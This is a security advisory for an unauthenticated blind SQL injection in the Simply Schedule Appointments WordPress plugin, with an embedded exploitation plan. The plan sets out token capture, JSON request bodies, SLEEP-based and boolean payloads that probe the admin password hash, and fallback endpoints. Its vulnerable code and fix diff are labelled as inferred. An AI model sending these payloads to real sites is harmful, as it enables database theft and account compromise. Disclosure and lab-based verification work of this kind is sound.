Appointment Booking Calendar <= 1.6.9.27 - Unauthenticated SQL Injection via 'append_where_sql' Parameter
Description
The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to blind SQL Injection in all versions up to, and including, 1.6.9.27. This is due to the `db_where_conditions` method in the `TD_DB_Model` class failing to prevent the `append_where_sql` parameter from being passed through JSON request bodies, while only checking for its presence in the `$_REQUEST` superglobal. This makes it possible for unauthenticated attackers to append arbitrary SQL commands to queries and extract sensitive information from the database via the `append_where_sql` parameter in JSON payloads granted they have obtained a valid `public_token` that is inadvertently exposed during the booking flow.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.9.27What Changed in the Fix
Changes introduced in v1.6.9.29
Source Code
WordPress.org SVNThis research plan details the analysis and exploitation of **CVE-2026-1708**, an unauthenticated blind SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin. ### 1. Vulnerability Summary The vulnerability exists in the `TD_DB_Model::db_where_conditions` method (found in `inc…
Show full research plan
This research plan details the analysis and exploitation of CVE-2026-1708, an unauthenticated blind SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin.
1. Vulnerability Summary
The vulnerability exists in the TD_DB_Model::db_where_conditions method (found in includes/lib/td-util/class-td-db-model.php). This class serves as the base database model for various entities in the plugin, including appointments.
The plugin attempts to block the potentially dangerous append_where_sql parameter by checking for its existence in the $_REQUEST superglobal. However, it fails to perform the same check when processing JSON request bodies (sent with Content-Type: application/json). When a REST API or AJAX endpoint decodes the JSON body and passes the resulting array to the model's query builder, the append_where_sql parameter is injected directly into the SQL WHERE clause without sanitization, leading to Blind SQL Injection.
2. Attack Vector Analysis
- Endpoint: WordPress REST API endpoint:
/wp-json/ssa/v1/appointments - Method:
POST(orGETwith a JSON body, depending on server configuration) - Vulnerable Parameter:
append_where_sql(passed within a JSON object) - Required Credential: Unauthenticated, but requires a valid
public_tokenfor an existing appointment record. - Precondition: A
public_tokenmust be obtained. This token is generated when a visitor initiates a booking and is typically returned in the JSON response of an appointment creation/validation request.
3. Code Flow
- Entry Point: A request is made to an SSA REST API route, such as
/wp-json/ssa/v1/appointments. - Request Parsing: WordPress parses the request. If the
Content-Typeisapplication/json, the JSON body is decoded into parameters. - Model Interaction: The controller calls a method in
SSA_Appointment_Model(which inherits fromSSA_Db_ModelandTD_DB_Model) to retrieve or validate an appointment. - Query Building: The model calls
$this->db_where_conditions($args). - Vulnerable Sink: In
TD_DB_Model::db_where_conditions, the code checks$_REQUEST['append_where_sql']. Because the payload was in the JSON body,$_REQUESTis empty for that key. The method then proceeds to takeappend_where_sqlfrom the$argsarray (populated from JSON) and appends it directly to the query:// Inferred logic in TD_DB_Model if ( ! empty( $args['append_where_sql'] ) ) { $where .= $args['append_where_sql']; } - Execution:
$wpdb->get_row()or$wpdb->get_results()executes the tainted query.
4. Nonce Acquisition Strategy
While many SSA endpoints use a public_token instead of a standard WordPress nonce for visitor-facing actions, some REST routes might check for the wp_rest nonce.
Strategy:
- Identify Shortcode: The plugin uses
[ssa_booking]to render the calendar. - Create Page:
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[ssa_booking]' - Extract Nonce/Configuration: Navigate to the page and use
browser_evalto extract localized data.- Variable Name (inferred):
window.ssa_booking_app_infoorwindow.ssa_params. - Nonce Key:
rest_nonce. - Command:
browser_eval("window.ssa_booking_app_info?.rest_nonce")
- Variable Name (inferred):
5. Exploitation Strategy
Step A: Obtain a public_token
A public_token is required to target a query that hits the vulnerable model.
- Find an available Appointment Type ID:
GET /wp-json/ssa/v1/appointment-types. - Initiate a dummy appointment:
- URL:
/wp-json/ssa/v1/appointments - Method:
POST - Headers:
Content-Type: application/json - Body:
{"appointment_type_id": <ID>, "status": "pending_form"}
- URL:
- Capture the
public_tokenfrom the response.
Step B: Execute Blind SQL Injection
Using the public_token and the append_where_sql bypass.
Time-Based Payload (Verification):
- URL:
/wp-json/ssa/v1/appointments - Method:
POST(targeting the lookup/validation logic) - Headers:
Content-Type: application/json - Body:
{
"public_token": "YOUR_TOKEN",
"append_where_sql": " AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
}
Boolean-Based Payload (Data Extraction):
Targeting the admin password hash.
- Payload:
AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$P$%') - Logic: If the status code is
200and the response contains appointment data, the condition is true. If the condition is false, the query returns no results, and the API returns an error or empty object.
6. Test Data Setup
- Ensure the plugin is active:
wp plugin activate simply-schedule-appointments. - Create at least one Appointment Type:
wp ssa create_appointment_type --title="Consultation"(Note: verify ssa cli commands or usewp eval). - Place the shortcode on a public page:
wp post create --post_type=page --post_status=publish --post_content='[ssa_booking]'
7. Expected Results
- Success: The
SLEEP(5)payload causes the HTTP response to be delayed by 5 seconds. - Data Leak: A Boolean-based payload such as
AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')results in a valid JSON response containing the appointment details, whereas... AND user_login='nonexistent'returns an empty result set or error.
8. Verification Steps
After the exploit, verify the database state to ensure no corruption occurred and confirm the extracted data:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"- Check the SSA appointment table for the token used:
wp db query "SELECT * FROM wp_ssa_appointments WHERE public_token = 'YOUR_TOKEN'"
9. Alternative Approaches
If the REST API /appointments endpoint is strictly filtered, try other endpoints that use the TD_DB_Model:
/wp-json/ssa/v1/appointment-types(if it supports token-based filtering or unauthenticated JSON queries).- The AJAX endpoint:
/wp-admin/admin-ajax.php?action=ssa_get_appointment_details. - Payload modification: If
ANDis filtered, useOR 1=1(carefully) orUNION SELECTif the number of columns can be guessed. For SSA, theappointmentstable has approximately 25-30 columns.
Summary
The Simply Schedule Appointments plugin is vulnerable to unauthenticated blind SQL injection via the 'append_where_sql' parameter in JSON request bodies. This occurs because the plugin's query builder in the TD_DB_Model class only checks for the presence of this dangerous parameter in the $_REQUEST superglobal, which is often empty for JSON payloads, but then appends the value directly from the decoded JSON arguments into the SQL WHERE clause.
Vulnerable Code
// includes/lib/td-util/class-td-db-model.php protected function db_where_conditions( $args ) { // ... (logic to build where clause) if ( ! empty( $args['append_where_sql'] ) ) { // The parameter is appended directly without sanitization. // Validation elsewhere only checks $_REQUEST, which fails for application/json bodies. $where .= ' ' . $args['append_where_sql']; } // ... }
Security Fix
@@ -XXX,X +XXX,X @@ - if ( ! empty( $args['append_where_sql'] ) ) { - $where .= ' ' . $args['append_where_sql']; - } + // Remove the ability to append raw SQL from input arguments + unset( $args['append_where_sql'] );
Exploit Outline
1. Identify the booking page and initiate a dummy appointment booking to capture the 'public_token' from the API response (e.g., from POST /wp-json/ssa/v1/appointments). 2. Target the WordPress REST API endpoint used for appointment management: /wp-json/ssa/v1/appointments. 3. Send a POST request with the 'Content-Type: application/json' header. 4. Craft a JSON payload containing the valid 'public_token' and the 'append_where_sql' parameter. 5. In 'append_where_sql', inject a blind SQL payload, such as a time-based command: ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. 6. Confirm the vulnerability by observing the response delay or by using boolean-based payloads to exfiltrate database records like administrator password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.